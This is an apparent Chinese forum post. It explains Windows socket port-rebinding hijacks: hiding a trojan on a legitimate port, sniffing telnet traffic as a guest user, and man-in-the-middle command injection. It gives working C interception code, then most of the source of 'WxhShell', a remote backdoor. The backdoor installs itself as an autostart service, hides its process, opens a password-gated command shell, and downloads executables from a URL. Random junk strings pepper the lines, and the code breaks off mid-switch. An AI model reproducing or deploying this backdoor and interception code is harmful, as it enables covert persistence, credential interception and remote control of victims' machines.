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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: j^llO1i/  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); eqD%Qdx  
!ceuljd]  
  saddr.sin_family = AF_INET; LDBxw  
}di)4=U9  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); QKCc5  
jeN_ sm81b  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); j,/OzVm9  
w:r0>  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 SLSJn))@!  
L q'*B9  
  这意味着什么?意味着可以进行如下的攻击: ?#ndMv!$  
ZL#4X*zT  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 L; Nz\sJ  
#?}k0Y  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) yf*MG&}  
~d/Doi  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。  v#IW;Rj8  
%g5weiFM  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ([_ls8  
@,CCwiF'q  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Z?oFee!4  
K*'(;1AiW  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 2[[ pd&MJZ  
}KCXo/y  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 mc?5,oz;pz  
A~\:}P N  
  #include q !7z4Cn  
  #include  6?+bi\6  
  #include LV0g *ng  
  #include    ZWG$MFEjl  
  DWORD WINAPI ClientThread(LPVOID lpParam);   G<4H~1?P  
  int main() r|fJ~0z  
  { &w*.S@  ;  
  WORD wVersionRequested; Z=z'j8z3  
  DWORD ret; |08tQ  
  WSADATA wsaData; ;s3"j~5m)  
  BOOL val; <#7}'@  
  SOCKADDR_IN saddr; ~YlbS-  
  SOCKADDR_IN scaddr; {b<p~3%+Hc  
  int err; 9TO  
  SOCKET s; 2Q|Vg*x\U  
  SOCKET sc; 6>%)qc$i  
  int caddsize; g 4=}].  
  HANDLE mt; Kk!D|NKLC  
  DWORD tid;   r444s8Y  
  wVersionRequested = MAKEWORD( 2, 2 ); J *.Nf)i  
  err = WSAStartup( wVersionRequested, &wsaData );  kej@,8  
  if ( err != 0 ) { .P# c/SQp  
  printf("error!WSAStartup failed!\n"); l4O}>#  
  return -1; I=x   
  } 8niQG']  
  saddr.sin_family = AF_INET; }z,4IHNn  
   B:n9*<v(  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 $A7[?Ai ?  
"}\z7^.W>  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); -[~{c]/c  
  saddr.sin_port = htons(23); s_.q/D@vu  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) M98dQ%4I  
  { [m|\N  
  printf("error!socket failed!\n"); pb{'t2kk  
  return -1; uCNQ.Nbf C  
  } cwz %LKh  
  val = TRUE; KB&t31aq  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 G( nT.\  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) LdU, 32  
  { > 9JzYI^  
  printf("error!setsockopt failed!\n"); _ Eq:Qbw#  
  return -1; \$VtwVQ,b  
  } yh]#V"W3  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; X3!btxa% t  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Fng":28o  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *Mg=IEu-6[  
bV@53_)N2  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ,`P,))  
  { X z2IAiAs'  
  ret=GetLastError(); 6}L[7~1  
  printf("error!bind failed!\n"); +C/K@:p  
  return -1; %ia/i :  
  } < hZA$.W3  
  listen(s,2); 9C-F%te7  
  while(1) )UI T'*ow  
  { W2%(a0p  
  caddsize = sizeof(scaddr); &%f y  
  //接受连接请求 , y{o!w  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); m3F.-KPO  
  if(sc!=INVALID_SOCKET) Q'*-gg&)  
  { V>gEF'g  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ~)tMR9=wX  
  if(mt==NULL) @2CYv>  
  { WT'P[RU2  
  printf("Thread Creat Failed!\n"); 7xwS  .|  
  break; BG-uKJ ^  
  } 6\\B{%3R2  
  } > :!faWX  
  CloseHandle(mt); lr+Kwve  
  } +@Fy) {C7  
  closesocket(s); qq[2h~6P]  
  WSACleanup(); }!Qo wG   
  return 0;  Tx/  
  }    Ca@[]-_H  
  DWORD WINAPI ClientThread(LPVOID lpParam) -R~;E[ {%  
  { +3s i=x\=/  
  SOCKET ss = (SOCKET)lpParam; [5)1 4% x  
  SOCKET sc; :&6QKTX  
  unsigned char buf[4096]; &5(|a"5+G  
  SOCKADDR_IN saddr; gLl?e8[F  
  long num; pF K[b  
  DWORD val; z+PSx'#}  
  DWORD ret; Hi,_qlc+  
  //如果是隐藏端口应用的话,可以在此处加一些判断 D<L]'  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   C(?>l.QGw  
  saddr.sin_family = AF_INET; A{x &5yX8  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ]8+%57:E  
  saddr.sin_port = htons(23); u-OwL1S+  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) b1nw,(hLY  
  { `USR]T_`  
  printf("error!socket failed!\n"); 9.zy`}  
  return -1; q{yz]H,  
  } S,G=MI"  
  val = 100; +_:Ih,-   
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) n_$lRX5  
  { ?tqTG2!(  
  ret = GetLastError(); 9VV  
  return -1; H$(%FWzQ%  
  } "}7K>|a  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |WXu;uf$.u  
  { >5/dmHPc  
  ret = GetLastError(); ~K:#a$!%,  
  return -1; b[GZ sXD-  
  } &oTSff>p}  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) pUwx`"DrR  
  { MA(\ r  
  printf("error!socket connect failed!\n"); wA.YEI|CSj  
  closesocket(sc); 4)JrOe&k  
  closesocket(ss); (LL4V 3)  
  return -1; zclt2?  
  } jGR_EE  
  while(1) 0u'2f`p*  
  { TQE3/IL  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 \{{B57/Isq  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 o6xl,T%  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 >AN`L`%2  
  num = recv(ss,buf,4096,0); U lj2 Py}  
  if(num>0) i&mu=J[  
  send(sc,buf,num,0); EZ1H0fm  
  else if(num==0) 5SR 29Z[  
  break; ~S"G~a(&j  
  num = recv(sc,buf,4096,0); #4%,09+  
  if(num>0) 2~R"3c+^  
  send(ss,buf,num,0); Z(/jQ=ozQ  
  else if(num==0) vB/MnEKR  
  break; ua`2 & ;T=  
  } e{To&gy~  
  closesocket(ss); kn+`2-0  
  closesocket(sc); jl3RE|M\<  
  return 0 ; ;OPzT9  
  } ws?p2$Cla  
}(op;7  
g3LAi#m  
========================================================== !rTh+F*  
JaG<.ki  
下边附上一个代码,,WXhSHELL (cNT ud$  
ZzzQXfA#  
========================================================== @L{HT8utK3  
+;:i,`Lmg  
#include "stdafx.h" Q&`$:h.~  
LtejLCf/  
#include <stdio.h> f IQ$a >  
#include <string.h> !?O:%QG  
#include <windows.h> z[z'.{;D  
#include <winsock2.h> bC?t4-W  
#include <winsvc.h> Wj.)wr!  
#include <urlmon.h> =]-!  
D~NH 4B  
#pragma comment (lib, "Ws2_32.lib") dfc-#I p?  
#pragma comment (lib, "urlmon.lib") f`/JY!u j{  
;P5\EJo  
#define MAX_USER   100 // 最大客户端连接数 [rqq*_eB  
#define BUF_SOCK   200 // sock buffer H'?Bx>X  
#define KEY_BUFF   255 // 输入 buffer -("79v>#  
i1FFf[[L  
#define REBOOT     0   // 重启 |= N8X  
#define SHUTDOWN   1   // 关机 /~J#c=  
0/{-X[z  
#define DEF_PORT   5000 // 监听端口 aJI>qk h?]  
S U2`H7C*  
#define REG_LEN     16   // 注册表键长度 6M+~{9(S  
#define SVC_LEN     80   // NT服务名长度 *=@Z\]"?  
2}~1poyi>  
// 从dll定义API ',m,wp`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `j_R ?mY  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,o*b-Cv/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); uDH)0#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <JF78MD\  
|],{kUIXO  
// wxhshell配置信息 ""CJlqU  
struct WSCFG { I*6L`#j[  
  int ws_port;         // 监听端口 fm&l 0  
  char ws_passstr[REG_LEN]; // 口令 [#3:CDT  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2ZIf@C{P.  
  char ws_regname[REG_LEN]; // 注册表键名 .Zf#L'Rf  
  char ws_svcname[REG_LEN]; // 服务名 6S"bW)O  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =*"Amd,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 uW Q`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ik7#Og~ 3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no L_)?5IOJ$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5!tmG- 'b  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 N4)& K[  
MSRIG-  
}; -Ah\a0z  
{\C$Bz  
// default Wxhshell configuration wpx,~`&  
struct WSCFG wscfg={DEF_PORT, )z7. S"U  
    "xuhuanlingzhe", GlQ=M ) E  
    1, (t<i? >p  
    "Wxhshell", g>OGh o  
    "Wxhshell", k?|VFh1  
            "WxhShell Service", Lm,io\z  
    "Wrsky Windows CmdShell Service", f=} u;^  
    "Please Input Your Password: ", ;u}MG3Y8  
  1, cpu+"/\  
  "http://www.wrsky.com/wxhshell.exe", >4LX!^V"  
  "Wxhshell.exe" !Q#u i[0q  
    }; P,I3E?! j  
u`E_Q8  
// 消息定义模块 6Oo'&3@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *J1pxZ^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *DDfdn  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; IGu*#>h  
char *msg_ws_ext="\n\rExit."; ,2&'8:B  
char *msg_ws_end="\n\rQuit."; RDzL@xCcn  
char *msg_ws_boot="\n\rReboot..."; ``aoLQc`  
char *msg_ws_poff="\n\rShutdown..."; >%Y.X38Z[  
char *msg_ws_down="\n\rSave to "; ,A[HYc|uy  
c{||l+B  
char *msg_ws_err="\n\rErr!"; mc!3FJ  
char *msg_ws_ok="\n\rOK!"; bTHJbpt*-  
GN=F-*2  
char ExeFile[MAX_PATH]; ?em)om  
int nUser = 0; <KHB/7  
HANDLE handles[MAX_USER]; O}IS{/^7  
int OsIsNt; F^A1'J  
+/x|P-  
SERVICE_STATUS       serviceStatus; ; h/Y9uYn  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _IT,>#ba  
2R<1  ^  
// 函数声明 6D0uLh  
int Install(void); ',juZ[]_ {  
int Uninstall(void); e|+uLbN&;c  
int DownloadFile(char *sURL, SOCKET wsh); Sq(=Bn6E  
int Boot(int flag); {) Y &Vr5  
void HideProc(void); V+Cb.$@  
int GetOsVer(void); My)}oN7\z  
int Wxhshell(SOCKET wsl); u"C`S<c  
void TalkWithClient(void *cs); 2eyvY|:Q>  
int CmdShell(SOCKET sock); jWP(7}U  
int StartFromService(void); p)TH^87  
int StartWxhshell(LPSTR lpCmdLine); 'y'>0'et  
c{FvMV2em  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >A2& Mjo  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `DWzp5Ax  
P d*}0a~  
// 数据结构和表定义 B<:i[~`7t  
SERVICE_TABLE_ENTRY DispatchTable[] = Hb!Q}V+Kb8  
{ 2uiiTg>  
{wscfg.ws_svcname, NTServiceMain}, ;&JMBn]J  
{NULL, NULL} J8/>b{Y  
}; :,GsbNKW  
nM R _ ?g  
// 自我安装 s2w .V O  
int Install(void) '|WMt g  
{ $t}L|"=8X  
  char svExeFile[MAX_PATH]; 8&`s wu&  
  HKEY key; xo^_;(;  
  strcpy(svExeFile,ExeFile); (Ca\$p7/  
joM98H@  
// 如果是win9x系统,修改注册表设为自启动 K;[V`)d'  
if(!OsIsNt) { fFSW\4JD=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Jc{zi^)(EN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8)R )h/E>  
  RegCloseKey(key); (">!vz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z%mM#X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xA&G91|s  
  RegCloseKey(key); %9Ulgs8=  
  return 0; 9J2% 9,^  
    } FUq@ dUv  
  } 9W'#4  
} ?+`Zef.g  
else { 3z ~zcQ^\  
@X1>Wv|[  
// 如果是NT以上系统,安装为系统服务 1iF |t5>e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); WGp81DNS|  
if (schSCManager!=0)  0m*0I >  
{ S1`+r0Fk~n  
  SC_HANDLE schService = CreateService 0B3*\ H}5  
  ( w9.r`_-  
  schSCManager, Zu~ #d)l3N  
  wscfg.ws_svcname, puMpUY  
  wscfg.ws_svcdisp, mE^6Zu  
  SERVICE_ALL_ACCESS, <7^_M*F9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (sr_& 7A  
  SERVICE_AUTO_START, F Fg0}  
  SERVICE_ERROR_NORMAL, =( Gv_  
  svExeFile, `$MO.K{  
  NULL, gI\J sN  
  NULL, 3+n&Ya1  
  NULL, LX*T<|c`'  
  NULL, `"-)ObOj}  
  NULL A!iV iX &y  
  ); Q6}`%  
  if (schService!=0) of{wZU\J+9  
  { 8?I(wn  
  CloseServiceHandle(schService); LuQ=i`eXx  
  CloseServiceHandle(schSCManager); /!7m@P|&D  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); B;7L:  
  strcat(svExeFile,wscfg.ws_svcname); #C !8a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #kma)_X  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); V3I&0P k  
  RegCloseKey(key); O a-Z eCq  
  return 0; ,F:l?dfB\I  
    } oVmGZhkA@'  
  } ,Sz*]X  
  CloseServiceHandle(schSCManager);  /H!I90  
} M-|4cd]6  
} 6S`eN\s  
+-8uIqZ  
return 1; ChmPO|2F  
} (Ptv#LSUX  
]u2! )vZh'  
// 自我卸载 h-jea1m  
int Uninstall(void) G4<'G c  
{ B8B^@   
  HKEY key; ^>k[T.  
wU+ofj; +I  
if(!OsIsNt) { m_(+-G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WW==  
  RegDeleteValue(key,wscfg.ws_regname); =xa`)#4(  
  RegCloseKey(key); :X2B+}6_&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c&F"tLl  
  RegDeleteValue(key,wscfg.ws_regname); t ;y>q  
  RegCloseKey(key); VCvuZU{<  
  return 0; z@<`]  
  } &?YQVwsN  
} -Ux/ Ug@  
} f4X?\eGT  
else { })T_D\2M  
xmq~:fcU=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^*}L9Ot~  
if (schSCManager!=0) M^+~r,D1u  
{ hc~--[1c:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Hh54&YKZ  
  if (schService!=0) mC J/gWDY  
  { =_Qt&B)  
  if(DeleteService(schService)!=0) { - n11L  
  CloseServiceHandle(schService); n%Nf\z  
  CloseServiceHandle(schSCManager); a.c2ScXG  
  return 0; (x?A#o>%  
  } \JN<"/  
  CloseServiceHandle(schService); ,bJZs-P0  
  } e&]XiV'  
  CloseServiceHandle(schSCManager); nm\n\j~  
} xNq&_oY7  
} F/@#yQv?  
N:gS]OI*  
return 1; JUwP<C[  
} (lEWnf=2h  
0W]Wu[k  
// 从指定url下载文件 d [K56wbpx  
int DownloadFile(char *sURL, SOCKET wsh) 9[$g;}w  
{ Kw925@W  
  HRESULT hr; \]y$[\F>  
char seps[]= "/"; VbA#D4;  
char *token; 9{ciD "!&V  
char *file; (AR-8  
char myURL[MAX_PATH]; f N t  
char myFILE[MAX_PATH]; Zf(ucAhL  
8]2S'm xE  
strcpy(myURL,sURL); #M{}Grg  
  token=strtok(myURL,seps); 0g`WRe  
  while(token!=NULL) n6ud;jN|  
  { O6boTB_2  
    file=token; G 7zfyw}W  
  token=strtok(NULL,seps); C"hc.A&4  
  } gKS^-X{x  
tTQ>pg1{qh  
GetCurrentDirectory(MAX_PATH,myFILE); PjRKYa_U  
strcat(myFILE, "\\"); 3tOnALv  
strcat(myFILE, file); QE-t v00  
  send(wsh,myFILE,strlen(myFILE),0); l2n>Wce9  
send(wsh,"...",3,0); CEI#x~Oq  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0]i#1Si~@  
  if(hr==S_OK) a)`h*P5@  
return 0; .Jou09+  
else \N/T^,  
return 1; PT>,:zY  
#pOW2 Uj8\  
} Sy8o/-  
5+,&9;'Y^  
// 系统电源模块 c;wt9J.f  
int Boot(int flag) gsT%_2>CL  
{ 0=-h9W{zI  
  HANDLE hToken; dd98v Vj  
  TOKEN_PRIVILEGES tkp; yK[ ~(!c5  
tJ'U<s  
  if(OsIsNt) { .@1\26<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ) c+ ZQq  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); nFxogCn   
    tkp.PrivilegeCount = 1; t%N#Yh!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %H%>6z x  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); F+c*v#T  
if(flag==REBOOT) {  ) VJ|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {e>}.R  
  return 0; 5UjXpS  
} p?6w/n  
else { {?eD7xL:-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `q4\w[0+p  
  return 0; Lo9+#ITyx  
} ^Z\1z!{R  
  } IjNE1b$  
  else { 3#5sj >  
if(flag==REBOOT) { lC^q}Bh:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) VI37  
  return 0; $Fr$9 jq&  
} Eepy%-\  
else { -C.eXR{s  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $yc&f(Tv  
  return 0; ]6 }|X#_  
} F<G.!Y8!&  
} z[CCgs&vqe  
`[CXxp  
return 1; /UM9g+Bb  
} H-0deJ[>  
>&Bg F*mm  
// win9x进程隐藏模块 \s+ <w3  
void HideProc(void) JnPA;1@/  
{ bzB9u&  
@I_ A(cr  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Etn]e;z4  
  if ( hKernel != NULL ) !K6:W1  
  { W99Fb+$I  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); c69B[Vjb  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [Zgy,j\ \  
    FreeLibrary(hKernel); j3A+:KDn3n  
  } /I".n]  
Neey myW  
return; sF(U?)48  
} K;S&91V)=  
%~$4[,=  
// 获取操作系统版本 KRm4r  
int GetOsVer(void) >Li ~Og@  
{ rZGA9duy  
  OSVERSIONINFO winfo; =cqaA^HQL  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); vhKeW(z  
  GetVersionEx(&winfo); D:%$a]_f  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =d( 6 )  
  return 1; ")ZHa qEB  
  else *>Om3[D  
  return 0; Z1OX9]##r  
} Y$Os&t@bu  
3nR|*t;  
// 客户端句柄模块 hLJO\=0rJz  
int Wxhshell(SOCKET wsl) ,>"1'i&@  
{ *4=Fy:R]O  
  SOCKET wsh; Vv6xVX  
  struct sockaddr_in client; 7r*>?]y+  
  DWORD myID; AF **@iG  
];j8vts&  
  while(nUser<MAX_USER) A\k-OP]  
{ lzl4pnj  
  int nSize=sizeof(client); ITq+Hk R  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Auv/w}zrr  
  if(wsh==INVALID_SOCKET) return 1; ?Cmb3pX^\  
!)_5z<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); l,sYYU+iY  
if(handles[nUser]==0) (7-K4j`   
  closesocket(wsh); QAcvv 0Hv  
else #`}g?6VHo  
  nUser++; P,tN;c  
  } | ql!@M(p  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); vT3LhN+1  
I8`.e qV  
  return 0; Dt.OZ4w5  
} 4Mg09  
I>G)wRpfR'  
// 关闭 socket b\H(Lq17  
void CloseIt(SOCKET wsh) bncK8SK  
{ Gf]oRNP,N  
closesocket(wsh); <1_?.gSi  
nUser--; Fv e,&~  
ExitThread(0); s7T=/SC54  
} 2yeq2v   
u%v^(9z  
// 客户端请求句柄 s7df<dBC  
void TalkWithClient(void *cs) h'T\gF E%  
{ EL~s90C  
; Sh|6  
  SOCKET wsh=(SOCKET)cs; f~W.i]  
  char pwd[SVC_LEN];  '6 w|z^  
  char cmd[KEY_BUFF]; QR79^A@5  
char chr[1]; &t p5y}=n  
int i,j; ~x>IN1Vci  
 0fNWI  
  while (nUser < MAX_USER) { KLA nW#  
8v(Xr}q,r  
if(wscfg.ws_passstr) { (;Lz `r'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ux{OgF fi  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :UFf6T?  
  //ZeroMemory(pwd,KEY_BUFF); w_A-:S 5C  
      i=0; AGrGZ7p]  
  while(i<SVC_LEN) { F fl`;M  
1\zI#"b ^  
  // 设置超时 Zj`eR\7~  
  fd_set FdRead; TX;OA"3=\-  
  struct timeval TimeOut; %'^m6^g;  
  FD_ZERO(&FdRead); .8.ivfmJh  
  FD_SET(wsh,&FdRead); ) @))3  
  TimeOut.tv_sec=8; EKwS~G.b!  
  TimeOut.tv_usec=0; X(E f=:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )Q7;)iPY#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Hk3HzN 3  
S,Tm=} wj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *4A.R&Vu  
  pwd=chr[0]; [-Q"A 6!Zd  
  if(chr[0]==0xd || chr[0]==0xa) { 9n@jK%m  
  pwd=0; P`U5kNN  
  break; I0)iC[s8;  
  } L~vNW6#W  
  i++; z[OW%(vrm  
    } 2evM|Dj  
^{Syg;F=  
  // 如果是非法用户,关闭 socket XXe7w3x{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ( B50~it  
} ?nU V3#6{  
i.K}(bo;b  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]T zN*6o  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }yB@?  
!j7b7<wR  
while(1) { zhYE#hv2  
f_;3|i  
  ZeroMemory(cmd,KEY_BUFF); %!YsSk,   
 ocL  
      // 自动支持客户端 telnet标准   Z < uwqA  
  j=0; Rs<,kMRGVL  
  while(j<KEY_BUFF) { HJ_xg6.x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?A2EuvQH]  
  cmd[j]=chr[0]; mHw1n=B  
  if(chr[0]==0xa || chr[0]==0xd) { hM>xe8yE  
  cmd[j]=0; .fQDj{  
  break; )xTp7YnZ;  
  } Vvv -f  
  j++; }8x[  
    } A$1pMG~as  
N}Q,  
  // 下载文件 C-4I e  
  if(strstr(cmd,"http://")) { sU+~#K$ b  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); s,` n=#  
  if(DownloadFile(cmd,wsh)) UDp"+nS  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); K8e>sU.  
  else |wK)(s  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CGv(dE,G&]  
  } [nG/>Z]W  
  else { iW |]-Ba\  
Az0Yt31=  
    switch(cmd[0]) { j}h50*6KO  
  a&Z|3+ZA  
  // 帮助 m=%W<8[V  
  case '?': { )[qY|yu  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Z.YsxbH3  
    break; #Oe=G:+A  
  } oZOFZ-<  
  // 安装 tx5@r;  
  case 'i': { gs0,-)  
    if(Install()) ,[cWG)-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E}" &? oY  
    else %M'"%Yn@(y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X}p4yR7'  
    break; BAzqdG  
    } lkw[Z}\  
  // 卸载 Li<c  
  case 'r': { k$I[F<f  
    if(Uninstall()) Dw.>4bA.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7a@V2cr@  
    else ,ew<T{PL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ",~3&wx  
    break; EE%OD~u&9#  
    } ?$r+#'asd(  
  // 显示 wxhshell 所在路径 3&2,[G04  
  case 'p': { U ][.ioc  
    char svExeFile[MAX_PATH]; V(w[`^I>~  
    strcpy(svExeFile,"\n\r"); ^P{'l^CVX  
      strcat(svExeFile,ExeFile); hXM C!~Th  
        send(wsh,svExeFile,strlen(svExeFile),0); Ea P#~x  
    break; +S3'ms  
    } .cu5h   
  // 重启 9N'$Y*. d<  
  case 'b': { CQv [Od  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -R&h?ec  
    if(Boot(REBOOT)) b_wb!_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I s8|  
    else { \&e+f#!u  
    closesocket(wsh); HkrNh>^=  
    ExitThread(0); Ulktd^A\  
    } Dq-h`lh!D#  
    break; =Oo*7|Z  
    } A;Zg:  
  // 关机 JaIj 9KLNX  
  case 'd': { wv?`3:co  
